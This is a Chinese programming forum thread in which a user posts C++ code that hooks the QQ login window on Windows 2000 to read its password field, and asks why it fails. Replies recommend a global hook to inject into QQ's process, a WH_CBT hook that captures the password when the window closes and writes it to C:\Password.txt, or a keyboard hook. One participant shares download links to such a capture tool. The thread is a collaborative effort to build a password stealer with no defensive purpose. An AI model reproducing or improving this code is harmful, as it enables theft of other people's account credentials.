救命，钩子问题

[ppyy]

我最近在学习HOOK，并且写了一个程序来练习，这个程序就是在WIN2000下获取QQ登录时候的密码框里的内容。。。。
我首先在我的程序里把一个DLL作为一个线程运行，然后在这个DLL线程里安装HOOK，具体几段代码如下：

HWND he,hc,h;
char szBuf[1024];
char *number,*password;
HHOOK OICQHOOK;

h=::FindWindow(NULL,"QQ用户登录");
if (h!=0)
{
::EnumChildWindows(h, (WNDENUMPROC)EnumProc,NULL);
OICQHOOK=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("test.dll"),GetWindowThreadProcessId(h,NULL));
MessageBox(NULL,"password",number,MB_ICONINFORMATION);


LRESULT WINAPI MouseProc(int nCode,WPARAM wParam,LPARAM lParam)
{

SendMessage(hc,WM_GETTEXT,1024,(long)szBuf);
number=szBuf;

return CallNextHookEx(OICQHOOK,nCode,wParam,lParam);
}

LRESULT CALLBACK EnumProc(HWND H,LPVOID Info)
{
char szClassName[256];;
::GetClassName(H,szClassName,255);
if(stricmp("EDIT", szClassName) == 0)
{
he=H;
}
else if(stricmp("COMBOBOX", szClassName) == 0)
{
hc=H;
}
return 1;
}
程序按照我的设想应该是弹出一个对话框，对话框的标题应该是QQ的号码。但是现在弹出的对话框的标题是“错误”。

难道我不应该把HOOK写在线程里？书上说监视一个指定的线程可以不必把HOOK做成全局钩子，我现在只要监视指定的OICQ登录窗口，所以一起写在这个线程里了。
不知道是什么地方出错了，请指点

本来应该是程序运行后，弹出一个对话框

[ppyy]

说明一下，我要把安装HOOK的代码做在一个DLL里，而这个DLL是我的程序里的一个线程。。。
因为是要监视一个指定的窗口，所以没有做成全局钩子，而把钩子就写在那个线程里了

[alphagx]

你如果想得到QQ 的密码，我有几点建议。
最好在窗口销毁的时候截获。
还有，你现在要注入到QQ的进程中去，一定要把钩子做成全局的

[alphagx]

我有一个截获QQ 的例子 ，
告诉我你的Email

[ppyy]

哦？
一定要做成全局钩子吗？？？？不是说监视指定的窗口可以做成局部的吗？

其实在不在窗口销毁的时候截获都没有多大关系，我使用了一个计时器，设置时间间隔为10,这样重复获取密码框里的密码，当登录窗口消失的时候就停止获取。。效果也不错的。。。
还有，如果要在窗口销毁的时候截获？怎样判断QQ的登录窗口正在销毁？也使用钩子？那应该是使用什么类型的钩子？WH_CALLWNDPROC钩子吗？

[ppyy]

谢谢alphagx(alpha)：[e-mail]

[alphagx]

已经发出
测试程序你自己写吧，
反正就是用IdleUIInit初始化
IdleUITerm结束
截获到以后密码写在C:\Password.txt

我这个程序就是做了一个WH_CBT 的钩子，
登录窗口一结束，我在HCBT_DESTROYWND 中进行枚举子窗口

[ppyy]

没有收到啊，能不能再给我发一次？
[e-mail]
谢谢

[ppyy]

to alphagx(alpha):
没有收到啊，能不能再给我发一次？
[e-mail]

[alphagx]

ＯＫ，又发了一份。

[pitchstar]

oicq 登陆窗口可能把 edit 子类化了，对他 gettext 没用

[pitchstar]

可以考虑挂键盘钩子

[supperapplication]

alphagx(alpha)，能不能给我也发一封。谢谢你了。[e-mail]

[alphagx]

我放在我的主页　上给你下载吧
http://alphagx.51.net/download/TestDll.zip

[Hi2001]

无法下载！！！说我没有成为什么用户。
发给我一份吧。
[e-mail]

[alphagx]

http://jackymaster.3322.net/TestDll.zip

[smallfool]

钩子有两种,一种是全局钩子, 拦截整个系统的消息,另一种是线程专用钩子,你必须给钩子指定确定的线程.如果是全局钩子,你必须设置一些全局性的共享变量.当然在DLLMain()处理进程出入控制,而在专用钩子中,你DLLMain()处理的是线程出入控制.

[leizhengdeng]

你的原程序中是对鼠标钩的
而你却是用找窗口的方法，根本不要用钩子

[alphagx]

不用钩子，你根本得不到密码框的内容。
因为是2000，　不在同一进程，
对密码框发送WM_GETTEXT是没有用的

[alphagx]

不用钩子，你根本得不到密码框的内容。
因为是2000，　不在同一进程，
对密码框发送WM_GETTEXT是没有用的

[Atan]

哪本书描写钩子函数比较好？推介一下